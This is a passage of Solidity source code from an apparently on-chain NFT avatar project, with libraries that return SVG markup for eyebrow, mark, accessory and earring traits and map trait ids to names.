c0,0-20.1-3.6-25.5-3.4c-5.4,0.2-9.1,1.5-11.7,3.4c0,0,18.9,2.8,27.4,3.2C179.4,181.6,179.8,181.3,180.8,178z"/>', "</g>" ) ) ); } /// @dev Eyebrow N°6 => Elektric function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" d="M208.9,177.6c14.6-1.5,47.8-6.5,51.6-6.6l-14.4,4.1l19.7,3.2 c-20.2-0.4-40.9-0.1-59.2,2.6C206.6,179.9,207.6,178.5,208.9,177.6z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" d="M185.1,177.7c-13.3-1.5-43.3-6.7-46.7-6.9l13.1,4.2l-17.8,3.1 c18.2-0.3,37,0.1,53.6,2.9C187.2,180,186.2,178.6,185.1,177.7z"/>' ) ) ); } /// @notice Return the eyebrow name of the given id /// @param id The eyebrow Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Thick"; } else if (id == 3) { name = "Punk"; } else if (id == 4) { name = "Small"; } else if (id == 5) { name = "Shaved"; } else if (id == 6) { name = "Elektric"; } } /// @dev The base SVG for the Eyebrow function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Eyebrow">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Mark SVG generator library MarkDetail { /// @dev Mark N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Mark N°2 => Blush Cheeks function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<g opacity="0.71">', '<ellipse fill="#FF7478" cx="257.6" cy="221.2" rx="11.6" ry="3.6"/>', '<ellipse fill="#FF7478" cx="146.9" cy="221.5" rx="9.6" ry="3.6"/>', "</g>" ) ) ); } /// @dev Mark N°3 => Dark Circle function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M160.1,223.2c4.4,0.2,8.7-1.3,12.7-3.2C169.3,222.7,164.4,223.9,160.1,223.2z"/>', '<path d="M156.4,222.4c-2.2-0.4-4.3-1.6-6.1-3C152.3,220.3,154.4,221.4,156.4,222.4z"/>', '<path d="M234.5,222.7c4.9,0.1,9.7-1.4,14.1-3.4C244.7,222.1,239.3,223.4,234.5,222.7z"/>', '<path d="M230.3,221.9c-2.5-0.4-4.8-1.5-6.7-2.9C225.9,219.9,228.2,221,230.3,221.9z"/>' ) ) ); } /// @dev Mark N°4 => Chin scar function item_4() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#E83342" d="M195.5,285.7l17,8.9C212.5,294.6,206.1,288.4,195.5,285.7z"/>', '<path fill="#E83342" d="M211.2,285.7l-17,8.9C194.1,294.6,200.6,288.4,211.2,285.7z"/>' ) ) ); } /// @dev Mark N°5 => Blush function item_5() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse opacity="0.52" fill-rule="evenodd" clip-rule="evenodd" fill="#FF7F83" cx="196.8" cy="222" rx="32.8" ry="1.9"/>' ) ) ); } /// @dev Mark N°6 => Chin function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M201.3,291.9c0.2-0.6,0.4-1.3,1-1.8c0.3-0.2,0.7-0.4,1.1-0.3c0.4,0.1,0.7,0.4,0.9,0.7c0.4,0.6,0.5,1.4,0.5,2.1 c0,0.7-0.3,1.5-0.8,2c-0.5,0.6-1.3,0.9-2.1,0.8c-0.8-0.1-1.5-0.5-2-0.9c-0.6-0.4-1.1-1-1.5-1.6c-0.4-0.6-0.6-1.4-0.6-2.2 c0.2-1.6,1.4-2.8,2.7-3.4c1.3-0.6,2.8-0.8,4.2-0.5c0.7,0.1,1.4,0.4,2,0.9c0.6,0.5,0.9,1.2,1,1.9c0.2,1.4-0.2,2.9-1.2,3.9 c0.7-1.1,1-2.5,0.7-3.8c-0.2-0.6-0.5-1.2-1-1.5c-0.5-0.4-1.1-0.6-1.7-0.6c-1.3-0.1-2.6,0-3.7,0.6c-1.1,0.5-2,1.5-2.1,2.6 c-0.1,1.1,0.7,2.2,1.6,3c0.5,0.4,1,0.8,1.5,0.8c0.5,0.1,1.1-0.1,1.5-0.5c0.4-0.4,0.7-0.9,0.7-1.6c0.1-0.6,0-1.3-0.3-1.8 c-0.1-0.3-0.4-0.5-0.6-0.6c-0.3-0.1-0.6,0-0.8,0.1C201.9,290.7,201.5,291.3,201.3,291.9z"/>' ) ) ); } /// @dev Mark N°7 => Yinyang function item_7() public pure returns (string memory) { return base( string( abi.encodePacked( '<path opacity="0.86" d="M211.5,161.1c0-8.2-6.7-14.9-14.9-14.9c-0.2,0-0.3,0-0.5,0l0,0 H196c-0.1,0-0.2,0-0.2,0c-0.2,0-0.4,0-0.5,0c-7.5,0.7-13.5,7.1-13.5,14.8c0,8.2,6.7,14.9,14.9,14.9 C204.8,176,211.5,169.3,211.5,161.1z M198.4,154.2c0,1-0.8,1.9-1.9,1.9c-1,0-1.9-0.8-1.9-1.9c0-1,0.8-1.9,1.9-1.9 C197.6,152.3,198.4,153.1,198.4,154.2z M202.9,168.2c0,3.6-3.1,6.6-6.9,6.6l0,0c-7.3-0.3-13.2-6.3-13.2-13.7c0-6,3.9-11.2,9.3-13 c-2,1.3-3.4,3.6-3.4,6.2c0,4,3.3,7.3,7.3,7.3l0,0C199.8,161.6,202.9,164.5,202.9,168.2z M196.6,170.3c-1,0-1.9-0.8-1.9-1.9 c0-1,0.8-1.9,1.9-1.9c1,0,1.9,0.8,1.9,1.9C198.4,169.5,197.6,170.3,196.6,170.3z"/>' ) ) ); } /// @dev Mark N°8 => Scar function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( '<path id="Scar" fill="#FF7478" d="M236.2,148.7c0,0-7.9,48.9-1.2,97.3C235,246,243.8,201.5,236.2,148.7z"/>' ) ) ); } /// @dev Mark N°9 => Sun function item_9() public pure returns (string memory) { return base( string( abi.encodePacked( '<circle fill="#7F0068" cx="195.8" cy="161.5" r="11.5"/>', '<polygon fill="#7F0068" points="195.9,142.4 192.4,147.8 199.3,147.8"/>', '<polygon fill="#7F0068" points="209.6,158.1 209.6,164.9 214.9,161.5"/>', '<polygon fill="#7F0068" points="195.9,180.6 199.3,175.2 192.4,175.2"/>', '<polygon fill="#7F0068" points="182.1,158.1 176.8,161.5 182.1,164.9"/>', '<polygon fill="#7F0068" points="209.3,148 203.1,149.4 208,154.2"/>', '<polygon fill="#7F0068" points="209.3,175 208,168.8 203.1,173.6"/>', '<polygon fill="#7F0068" points="183.7,168.8 182.4,175 188.6,173.6"/>', '<polygon fill="#7F0068" points="188.6,149.4 182.4,148 183.7,154.2"/>' ) ) ); } /// @dev Mark N°10 => Moon function item_10() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#7F0068" d="M197.2,142.1c-5.8,0-10.9,2.9-13.9,7.3c2.3-2.3,5.4-3.7,8.9-3.7c7.1,0,12.9,5.9,12.9,13.3 s-5.8,13.3-12.9,13.3c-3.4,0-6.6-1.4-8.9-3.7c3.1,4.4,8.2,7.3,13.9,7.3c9.3,0,16.9-7.6,16.9-16.9S206.6,142.1,197.2,142.1z"/>' ) ) ); } /// @dev Mark N°11 => Third Eye function item_11() public pure returns (string memory) { return base( string( abi.encodePacked( '<path opacity="0.81" fill="#FFFFFF" d="M184.4,159.3c0.7,3.5,0.8,8.5,6.3,8.8 c5.5,1.6,23.2,4.2,23.8-7.6c1.2-6.1-10-9.5-15.5-9.3C193.8,152.6,184.1,153.5,184.4,159.3z"/>', '<path d="M213.6,155.6c-0.2-0.2-0.4-0.4-0.6-0.6"/>', '<path d="M211.8,154c-7.7-6.6-23.5-4.9-29.2,3.6c9.9-7.1,26.1-6.1,34.4,2.4c0-0.3-0.7-1.5-2-3.1"/>', '<path d="M197.3,146.8c4.3-0.6,9.1,0.3,12.7,2.7C206,147.7,201.8,146.5,197.3,146.8L197.3,146.8z M193.6,147.5 c-2,0.9-4.1,1.8-6.1,2.6C189.2,148.8,191.5,147.8,193.6,147.5z"/>', '<path d="M187.6,167.2c5.2,2,18.5,3.2,23.3,0.1C206.3,171.3,192.7,170,187.6,167.2z"/>', '<path fill="#0B1F26" d="M199.6,151c11.1-0.2,11.1,17.4,0,17.3C188.5,168.4,188.5,150.8,199.6,151z"/>' ) ) ); } /// @dev Mark N°12 => Tori function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="231.2" y1="221.5" x2="231.2" y2="228.4"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M228.6,221.2c0,0,3.2,0.4,5.5,0.2"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M237.3,221.5c0,0-3.5,3.1,0,6.3C240.8,231,242.2,221.5,237.3,221.5z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M243.2,227.8l-1.2-6.4c0,0,8.7-2,1,2.8l3.2,3"/>', '<line fill-rule="evenodd" clip-rule="evenodd" fill="#FFEBB4" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="248.5" y1="221" x2="248.5" y2="227.5"/>', '<path d="M254.2,226c0,0,0.1,0,0.1,0c0,0,0.1,0,0.1-0.1l1.3-2.2c0.5-0.9-0.2-2.2-1.2-2c-0.6,0.1-0.8,0.7-0.9,0.8 c-0.1-0.1-0.5-0.5-1.1-0.4c-1,0.2-1.3,1.7-0.4,2.3L254.2,226z"/>' ) ) ); } /// @dev Mark N°13 => Ether function item_13() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#2B2B2B" stroke="#000000" stroke-miterlimit="10" d="M196.5,159.9l-12.4-5.9l12.4,21.6l12.4-21.6L196.5,159.9z"/>', '<path fill="#2B2B2B" stroke="#000000" stroke-miterlimit="10" d="M207.5,149.6l-11-19.1l-11,19.2l11-5.2L207.5,149.6z"/>', '<path fill="#2B2B2B" stroke="#000000" stroke-miterlimit="10" d="M186.5,152.2l10.1,4.8l10.1-4.8l-10.1-4.8L186.5,152.2z"/>' ) ) ); } /// @notice Return the mark name of the given id /// @param id The mark Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Blush Cheeks"; } else if (id == 3) { name = "Dark Circle"; } else if (id == 4) { name = "Chin Scar"; } else if (id == 5) { name = "Blush"; } else if (id == 6) { name = "Chin"; } else if (id == 7) { name = "Yinyang"; } else if (id == 8) { name = "Scar"; } else if (id == 9) { name = "Sun"; } else if (id == 10) { name = "Moon"; } else if (id == 11) { name = "Third Eye"; } else if (id == 12) { name = "Tori"; } else if (id == 13) { name = "Ether"; } } /// @dev The base SVG for the hair function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Mark">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Accessory SVG generator library AccessoryDetail { /// @dev Accessory N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Accessory N°2 => Glasses function item_2() public pure returns (string memory) { return base(glasses("D1F5FF", "000000", "0.31")); } /// @dev Accessory N°3 => Bow Tie function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="7" stroke-miterlimit="10" d="M176.2,312.5 c3.8,0.3,26.6,7.2,81.4-0.4"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#DF0849" stroke="#000000" stroke-miterlimit="10" d="M211.3,322.1 c-2.5-0.3-5-0.5-7.4,0c-1.1,0-1.9-1.4-1.9-3.1v-4.5c0-1.7,0.9-3.1,1.9-3.1c2.3,0.6,4.8,0.5,7.4,0c1.1,0,1.9,1.4,1.9,3.1v4.5 C213.2,320.6,212.3,322.1,211.3,322.1z"/>', '<path fill="#DF0849" stroke="#000000" stroke-miterlimit="10" d="M202.4,321.5c0,0-14,5.6-17.7,5.3c-1.1-0.1-2.5-4.6-1.2-10.5 c0,0-1-2.2-0.3-9.5c0.4-3.4,19.2,5.1,19.2,5.1S201,316.9,202.4,321.5z"/>', '<path fill="#DF0849" stroke="#000000" stroke-miterlimit="10" d="M212.6,321.5c0,0,14,5.6,17.7,5.3c1.1-0.1,2.5-4.6,1.2-10.5 c0,0,1-2.2,0.3-9.5c-0.4-3.4-19.2,5.1-19.2,5.1S213.9,316.9,212.6,321.5z"/>', '<path opacity="0.41" d="M213.6,315.9l6.4-1.1l-3.6,1.9l4.1,1.1l-7-0.6L213.6,315.9z M201.4,316.2l-6.4-1.1l3.6,1.9l-4.1,1.1l7-0.6L201.4,316.2z"/>' ) ) ); } /// @dev Accessory N°4 => Monk Beads Classic function item_4() public pure returns (string memory) { return base(monkBeads("63205A")); } /// @dev Accessory N°5 => Monk Beads Silver function item_5() public pure returns (string memory) { return base(monkBeads("C7D2D4")); } /// @dev Accessory N°6 => Power Pole function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FF6F4F" stroke="#000000" stroke-width="0.75" stroke-miterlimit="10" d="M272.3,331.9l55.2-74.4c0,0,3,4.3,8.7,7.5l-54,72.3"/>', '<polygon fill="#BA513A" points="335.9,265.3 334.2,264.1 279.9,336.1 281.8,337.1"/>', '<ellipse transform="matrix(0.6516 -0.7586 0.7586 0.6516 -82.3719 342.7996)" fill="#B54E36" stroke="#000000" stroke-width="0.25" stroke-miterlimit="10" cx="332" cy="261.1" rx="1.2" ry="6.1"/>', '<path fill="none" stroke="#B09E00" stroke-miterlimit="10" d="M276.9,335.3c-52.7,31.1-119.3,49.4-120.7,49"/>' ) ) ); } /// @dev Accessory N°7 => Vintage Glasses function item_7() public pure returns (string memory) { return base(glasses("FC55FF", "DFA500", "0.31")); } /// @dev Accessory N°8 => Monk Beads Gold function item_8() public pure returns (string memory) { return base(monkBeads("FFDD00")); } /// @dev Accessory N°9 => Eye Patch function item_9() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FCFEFF" stroke="#4A6362" stroke-miterlimit="10" d="M253.6,222.7H219c-4.7,0-8.5-3.8-8.5-8.5v-20.8 c0-4.7,3.8-8.5,8.5-8.5h34.6c4.7,0,8.5,3.8,8.5,8.5v20.8C262.1,218.9,258.3,222.7,253.6,222.7z"/>', '<path fill="none" stroke="#4A6362" stroke-width="0.75" stroke-miterlimit="10" d="M250.1,218.9h-27.6c-3.8,0-6.8-3.1-6.8-6.8 v-16.3c0-3.8,3.1-6.8,6.8-6.8h27.6c3.8,0,6.8,3.1,6.8,6.8V212C257,215.8,253.9,218.9,250.1,218.9z"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="211.9" y1="188.4" x2="131.8" y2="183.1"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="259.9" y1="188.1" x2="293.4" y2="196.7"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="259.2" y1="220.6" x2="277.5" y2="251.6"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="211.4" y1="219.1" x2="140.5" y2="242"/>', '<g fill-rule="evenodd" clip-rule="evenodd" fill="#636363" stroke="#4A6362" stroke-width="0.25" stroke-miterlimit="10"><ellipse cx="250.9" cy="215" rx="0.8" ry="1.1"/><ellipse cx="236.9" cy="215" rx="0.8" ry="1.1"/><ellipse cx="250.9" cy="203.9" rx="0.8" ry="1.1"/><ellipse cx="250.9" cy="193.8" rx="0.8" ry="1.1"/><ellipse cx="236.9" cy="193.8" rx="0.8" ry="1.1"/><ellipse cx="221.3" cy="215" rx="0.8" ry="1.1"/><ellipse cx="221.3" cy="203.9" rx="0.8" ry="1.1"/><ellipse cx="221.3" cy="193.8" rx="0.8" ry="1.1"/></g>' ) ) ); } /// @dev Accessory N°10 => Sun Glasses function item_10() public pure returns (string memory) { return base(glasses(Colors.BLACK, Colors.BLACK_DEEP, "1")); } /// @dev Accessory N°11 => Monk Beads Diamond function item_11() public pure returns (string memory) { return base(monkBeads("AAFFFD")); } /// @dev Accessory N°12 => Horns function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" fill="#212121" stroke="#000000" stroke-linejoin="round" stroke-miterlimit="10" d="M257.7,96.3c0,0,35-18.3,46.3-42.9c0,0-0.9,37.6-23.2,67.6C269.8,115.6,261.8,107.3,257.7,96.3z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#212121" stroke="#000000" stroke-linejoin="round" stroke-miterlimit="10" d="M162,96.7c0,0-33-17.3-43.7-40.5c0,0,0.9,35.5,21.8,63.8C150.6,114.9,158.1,107.1,162,96.7z"/>' ) ) ); } /// @dev Accessory N°13 => Halo function item_13() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#F6FF99" stroke="#000000" stroke-miterlimit="10" d="M136,67.3c0,14.6,34.5,26.4,77,26.4s77-11.8,77-26.4s-34.5-26.4-77-26.4S136,52.7,136,67.3L136,67.3z M213,79.7c-31.4,0-56.9-6.4-56.9-14.2s25.5-14.2,56.9-14.2s56.9,6.4,56.9,14.2S244.4,79.7,213,79.7z"/>' ) ) ); } /// @dev Accessory N°14 => Saiki Power function item_14() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="5" stroke-miterlimit="10" x1="270.5" y1="105.7" x2="281.7" y2="91.7"/>', '<circle fill="#EB7FFF" stroke="#000000" stroke-miterlimit="10" cx="285.7" cy="85.2" r="9.2"/>', '<line fill="none" stroke="#000000" stroke-width="5" stroke-miterlimit="10" x1="155.8" y1="105.7" x2="144.5" y2="91.7"/>', '<circle fill="#EB7FFF" stroke="#000000" stroke-miterlimit="10" cx="138.7" cy="85.2" r="9.2"/>', '<path opacity="0.17" d="M287.3,76.6c0,0,10.2,8.2,0,17.1c0,0,7.8-0.7,7.4-9.5 C293,75.9,287.3,76.6,287.3,76.6z"/>', '<path opacity="0.17" d="M137,76.4c0,0-10.2,8.2,0,17.1c0,0-7.8-0.7-7.4-9.5 C131.4,75.8,137,76.4,137,76.4z"/>', '<ellipse transform="matrix(0.4588 -0.8885 0.8885 0.4588 80.0823 294.4391)" fill="#FFFFFF" cx="281.8" cy="81.5" rx="2.1" ry="1.5"/>', '<ellipse transform="matrix(0.8885 -0.4588 0.4588 0.8885 -21.756 74.6221)" fill="#FFFFFF" cx="142.7" cy="82.1" rx="1.5" ry="2.1"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M159.6,101.4c0,0-1.1,4.4-7.4,7.2"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M267.2,101.4c0,0,1.1,4.4,7.4,7.2"/>', abi.encodePacked( '<polygon opacity="0.68" fill="#7FFF35" points="126,189.5 185.7,191.8 188.6,199.6 184.6,207.4 157.3,217.9 128.6,203.7"/>', '<polygon opacity="0.68" fill="#7FFF35" points="265.7,189.5 206.7,191.8 203.8,199.6 207.7,207.4 234.8,217.9 263.2,203.7"/>', '<polyline fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="196.5,195.7 191.8,195.4 187,190.9 184.8,192.3 188.5,198.9 183,206.8 187.6,208.3 193.1,201.2 196.5,201.2"/>', '<polyline fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="196.4,195.7 201.1,195.4 205.9,190.9 208.1,192.3 204.4,198.9 209.9,206.8 205.3,208.3 199.8,201.2 196.4,201.2"/>', '<polygon fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="123.8,189.5 126.3,203 129.2,204.4 127.5,189.5"/>', '<polygon fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="265.8,189.4 263.3,203.7 284.3,200.6 285.3,189.4"/>' ) ) ) ); } /// @dev Accessory N°15 => No Face function item_15() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#F5F4F3" stroke="#000000" stroke-miterlimit="10" d="M285.5,177.9c0,68.3-19.6,127.3-77.9,128.2 c-58.4,0.9-74.4-57.1-74.4-125.4s14.4-103.5,72.7-103.5C266.7,77.2,285.5,109.6,285.5,177.9z"/>', '<path opacity="0.08" d="M285.4,176.9c0,68.3-19.4,127.6-78,129.3 c27.2-17.6,28.3-49.1,28.3-117.3s23.8-86-30-111.6C266.4,77.3,285.4,108.7,285.4,176.9z"/>', '<ellipse cx="243.2" cy="180.7" rx="16.9" ry="6.1"/>', '<path d="M231.4,273.6c0.3-7.2-12.1-6.1-27.2-6.1s-27.4-1.4-27.2,6.1c0.1,3.4,12.1,6.1,27.2,6.1S231.3,277,231.4,273.6z"/>', '<ellipse cx="162" cy="180.5" rx="16.3" ry="6"/>', '<path fill="#F2EDED" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M149.7,191.4c0,0,6.7,5.8,20.5,0.6"/>', '<path fill="#F2EDED" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M232.9,191.3c0,0,6.6,5.7,20.4,0.6"/>', '<path fill="#F2EDED" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M192.7,285.1c0,0,9.2,3.5,21.6,0"/>', '<path fill="#996DAD" d="M150.8,200.5c1.5-3.6,17.2-3.4,18.8-0.4c1.8,3.2-4.8,45.7-6.6,46C159.8,246.8,148.1,211.1,150.8,200.5z"/>', '<path fill="#996DAD" d="M233.9,199.8c1.5-3.6,18-2.7,19.7,0.3c3.7,6.4-6.5,45.5-9.3,45.4C241,245.2,231.1,210.4,233.9,199.8z"/>', '<path fill="#996DAD" d="M231.3,160.6c1.3,2.3,14.7,2.1,16.1,0.2c1.6-2-4.1-27.7-7.2-28.2C236.9,132.2,229,154.1,231.3,160.6z"/>', '<path fill="#996DAD" d="M152.9,163.2c1.3,2.3,14.7,2.1,16.1,0.2c1.6-2-4.1-27.7-7.2-28.2C158.6,134.8,150.6,156.6,152.9,163.2z"/>' ) ) ); } /// @dev Generate glasses with the given color and opacity function glasses( string memory color, string memory stroke, string memory opacity ) private pure returns (string memory) { return string( abi.encodePacked( '<circle fill="none" stroke="#', stroke, '" stroke-miterlimit="10" cx="161.5" cy="201.7" r="23.9"/>', '<circle fill="none" stroke="#', stroke, '" stroke-miterlimit="10" cx="232.9" cy="201.7" r="23.9"/>', '<circle opacity="', opacity, '" fill="#', color, '" cx="161.5" cy="201.7" r="23.9"/>', abi.encodePacked( '<circle opacity="', opacity, '" fill="#', color, '" cx="232.9" cy="201.7" r="23.9"/>', '<path fill="none" stroke="#', stroke, '" stroke-miterlimit="10" d="M256.8,201.7l35.8-3.2 M185.5,201.7 c0,0,14.7-3.1,23.5,0 M137.6,201.7l-8.4-3.2"/>' ) ) ); } /// @dev Generate Monk Beads SVG with the given color function monkBeads(string memory color) private pure returns (string memory) { return string( abi.encodePacked( '<g fill="#', color, '" stroke="#2B232B" stroke-miterlimit="10" stroke-width="0.75">', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.3439 3.0256)" cx="176.4" cy="317.8" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.458 3.2596)" cx="190.2" cy="324.6" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.5085 3.5351)" cx="206.4" cy="327.8" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.4607 4.0856)" cx="239.1" cy="325.2" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.693338e-02 1.693338e-02 0.9999 -5.386 4.3606)" cx="254.8" cy="320.2" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.5015 3.8124)" cx="222.9" cy="327.5" rx="7.9" ry="8"/>', "</g>", '<path opacity="0.14" d="M182,318.4 c0.7,1.3-0.4,3.4-2.5,4.6c-2.1,1.2-4.5,1-5.2-0.3c-0.7-1.3,0.4-3.4,2.5-4.6C178.9,316.9,181.3,317,182,318.4z M190.5,325.7 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3s3.2-3.2,2.5-4.6C195,324.6,192.7,324.5,190.5,325.7z M206.7,328.6 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6C211.1,327.6,208.8,327.5,206.7,328.6z M223.2,328.4 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6S225.3,327.3,223.2,328.4z M239.8,325.7 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6C244.3,324.7,242,324.5,239.8,325.7z M255.7,320.9 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6C260.1,319.9,257.8,319.7,255.7,320.9z"/>', abi.encodePacked( '<g fill="#FFFFFF" stroke="#FFFFFF" stroke-miterlimit="10">', '<path d="M250.4,318.9c0.6,0.6,0.5-0.9,1.3-2c0.8-1,2.4-1.2,1.8-1.8 c-0.6-0.6-1.9-0.2-2.8,0.9C250,317,249.8,318.3,250.4,318.9z"/>', '<path d="M234.4,323.6c0.7,0.6,0.5-0.9,1.4-1.9c1-1,2.5-1.1,1.9-1.7 c-0.7-0.6-1.9-0.3-2.8,0.7C234.1,321.7,233.8,323,234.4,323.6z"/>', '<path d="M218.2,325.8c0.6,0.6,0.6-0.9,1.4-1.8c1-1,2.5-1,1.9-1.6 c-0.6-0.6-1.9-0.4-2.8,0.6C217.8,323.9,217.6,325.2,218.2,325.8z"/>', '<path d="M202.1,325.5c0.6,0.6,0.6-0.9,1.7-1.7s2.6-0.8,2-1.5 c-0.6-0.6-1.8-0.5-2.9,0.4C202,323.5,201.5,324.8,202.1,325.5z"/>', '<path d="M186.2,322c0.6,0.6,0.6-0.9,1.7-1.7c1-0.8,2.6-0.8,2-1.5 c-0.6-0.6-1.8-0.5-2.9,0.3C186,320.1,185.7,321.4,186.2,322z"/>', '<path d="M171.7,315.4c0.6,0.6,0.6-0.9,1.5-1.8s2.5-0.9,1.9-1.6 s-1.9-0.4-2.8,0.5C171.5,313.5,171.1,314.9,171.7,315.4z"/>', "</g>" ) ) ); } /// @notice Return the accessory name of the given id /// @param id The accessory Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Glasses"; } else if (id == 3) { name = "Bow Tie"; } else if (id == 4) { name = "Monk Beads Classic"; } else if (id == 5) { name = "Monk Beads Silver"; } else if (id == 6) { name = "Power Pole"; } else if (id == 7) { name = "Vintage Glasses"; } else if (id == 8) { name = "Monk Beads Gold"; } else if (id == 9) { name = "Eye Patch"; } else if (id == 10) { name = "Sun Glasses"; } else if (id == 11) { name = "Monk Beads Diamond"; } else if (id == 12) { name = "Horns"; } else if (id == 13) { name = "Halo"; } else if (id == 14) { name = "Saiki Power"; } else if (id == 15) { name = "No Face"; } } /// @dev The base SVG for the accessory function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Accessory">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Earrings SVG generator library EarringsDetail { /// @dev Earrings N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Earrings N°2 => Circle function item_2() public pure returns (string memory) { return base(circle("000000")); } /// @dev Earrings N°3 => Circle Silver function item_3() public pure returns (string memory) { return base(circle("C7D2D4")); } /// @dev Earrings N°4 => Ring function item_4() public pure returns (string memory) { return base(ring("000000")); } /// @dev Earrings N°5 => Circle Gold function item_5() public pure returns (string memory) { return base(circle("FFDD00")); } /// @dev Earrings N°6 => Ring Gold function item_6() public pure returns (string memory) { return base(ring("FFDD00")); } /// @dev Earrings N°7 => Heart function item_7() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M284.3,247.9c0.1,0.1,0.1,0.1,0.2,0.1s0.2,0,0.2-0.1l3.7-3.8c1.5-1.6,0.4-4.3-1.8-4.3c-1.3,0-1.9,1-2.2,1.2c-0.2-0.2-0.8-1.2-2.2-1.2c-2.2,0-3.3,2.7-1.8,4.3L284.3,247.9z"/>', '<path d="M135,246.6c0,0,0.1,0.1,0.2,0.1s0.1,0,0.2-0.1l3.1-3.1c1.3-1.3,0.4-3.6-1.5-3.6c-1.1,0-1.6,0.8-1.8,1c-0.2-0.2-0.7-1-1.8-1c-1.8,0-2.8,2.3-1.5,3.6L135,246.6z"/>' ) ) ); } /// @dev Earrings N°8 => Gold function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( '<path 